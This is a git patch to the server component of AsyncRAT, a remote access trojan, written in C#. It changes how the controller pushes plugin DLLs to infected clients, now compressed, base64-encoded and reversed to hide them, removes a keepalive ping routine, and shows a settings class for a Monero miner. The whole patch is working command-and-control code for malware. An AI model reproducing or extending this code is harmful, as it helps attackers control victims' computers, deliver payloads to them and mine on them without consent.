From 8fae9859841b58f10af041e2957f119eec5beff7 Mon Sep 17 00:00:00 2001 From: NYAN CAT Date: Thu, 10 Oct 2019 09:36:37 +0300 Subject: [PATCH] update --- AsyncRAT-C#/Server/Connection/Clients.cs | 53 ++---------------------- AsyncRAT-C#/Server/Forms/Form1.cs | 2 - AsyncRAT-C#/Server/Helper/Methods.cs | 19 --------- AsyncRAT-C#/Server/Settings.cs | 1 - 4 files changed, 4 insertions(+), 71 deletions(-) diff --git a/AsyncRAT-C#/Server/Connection/Clients.cs b/AsyncRAT-C#/Server/Connection/Clients.cs index 9f1451d..e164d01 100644 --- a/AsyncRAT-C#/Server/Connection/Clients.cs +++ b/AsyncRAT-C#/Server/Connection/Clients.cs @@ -204,41 +204,18 @@ namespace Server.Connection } } - public void CheckPlugin() // send all plugins md5 hash to client - { - try - { - List plugins = new List(); - foreach (var plugin in Settings.Plugins) - { - plugins.Add(plugin.Key); - } - if (plugins.Count > 0) - { - MsgPack msgPack = new MsgPack(); - msgPack.ForcePathObject("Packet").SetAsString("checkPlugin"); - msgPack.ForcePathObject("Hash").SetAsString(string.Join(",", plugins)); - ThreadPool.QueueUserWorkItem(Send, msgPack.Encode2Bytes()); - } - } - catch (Exception ex) - { - new HandleLogs().Addmsg($"Client {TcpClient.RemoteEndPoint.ToString().Split(':')[0]} {ex.Message}", Color.Red); - } - } - public void SendPlugin(string hash) // client is missing some plguins, sending them // total plugins = 550kb { try { - foreach (var plugin in Settings.Plugins) + foreach (string plugin in Directory.GetFiles("Plugins", "*.dll", SearchOption.TopDirectoryOnly)) { - if (hash == plugin.Key) + if (hash == GetHash.GetChecksum(plugin)) { MsgPack msgPack = new MsgPack(); msgPack.ForcePathObject("Packet").SetAsString("savePlugin"); - msgPack.ForcePathObject("Dll").SetAsString(plugin.Value); - msgPack.ForcePathObject("Hash").SetAsString(plugin.Key); + msgPack.ForcePathObject("Dll").SetAsString(Strings.StrReverse(Convert.ToBase64String(Zip.Compress(File.ReadAllBytes(plugin))))); + msgPack.ForcePathObject("Hash").SetAsString(GetHash.GetChecksum(plugin)); ThreadPool.QueueUserWorkItem(Send,msgPack.Encode2Bytes()); break; } @@ -249,27 +226,5 @@ namespace Server.Connection new HandleLogs().Addmsg($"Client {TcpClient.RemoteEndPoint.ToString().Split(':')[0]} {ex.Message}", Color.Red); } } - - public void KeepAlivePacket(object o) - { - lock (SendSync) - { - try - { - MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "Ping"; - msgpack.ForcePathObject("Message").AsString = "This is a ping!"; - byte[] buffer = msgpack.Encode2Bytes(); - byte[] buffersize = BitConverter.GetBytes(buffer.Length); - SslClient.Write(buffersize, 0, buffersize.Length); - SslClient.Write(buffer, 0, buffer.Length); - SslClient.Flush(); - } - catch - { - Disconnected(); - } - } - } } } diff --git a/AsyncRAT-C#/Server/Forms/Form1.cs b/AsyncRAT-C#/Server/Forms/Form1.cs index 28ba761..3209432 100644 --- a/AsyncRAT-C#/Server/Forms/Form1.cs +++ b/AsyncRAT-C#/Server/Forms/Form1.cs @@ -136,8 +136,6 @@ namespace Server ListviewDoubleBuffer.Enable(listView2); ListviewDoubleBuffer.Enable(listView3); - Methods.SetPlugins(); - try { foreach (string client in Properties.Settings.Default.txtBlocked.Split(',')) diff --git a/AsyncRAT-C#/Server/Helper/Methods.cs b/AsyncRAT-C#/Server/Helper/Methods.cs index 315a519..a2debdd 100644 --- a/AsyncRAT-C#/Server/Helper/Methods.cs +++ b/AsyncRAT-C#/Server/Helper/Methods.cs @@ -43,24 +43,5 @@ namespace Server.Helper return randomName.ToString(); } - - public static void SetPlugins() - { - try - { - foreach (string plugin in Directory.GetFiles("Plugins", "*.dll", SearchOption.TopDirectoryOnly)) - { - Settings.Plugins.Add(GetHash.GetChecksum(plugin), Strings.StrReverse(Convert.ToBase64String(Zip.Compress(File.ReadAllBytes(plugin))))); -#if DEBUG - byte[] plg = Zip.Compress(File.ReadAllBytes(plugin)); - Debug.WriteLine($"{plugin} : {BytesToString(plg.Length)}"); -#endif - } - } - catch (Exception ex) - { - new HandleLogs().Addmsg(ex.Message, Color.Red); - } - } } } diff --git a/AsyncRAT-C#/Server/Settings.cs b/AsyncRAT-C#/Server/Settings.cs index f47274d..ac0838a 100644 --- a/AsyncRAT-C#/Server/Settings.cs +++ b/AsyncRAT-C#/Server/Settings.cs @@ -24,7 +24,6 @@ namespace Server public static bool ReportWindow = false; public static List ReportWindowClients = new List(); public static object LockReportWindowClients = new object(); - public static Dictionary Plugins = new Dictionary(); } public static class XmrSettings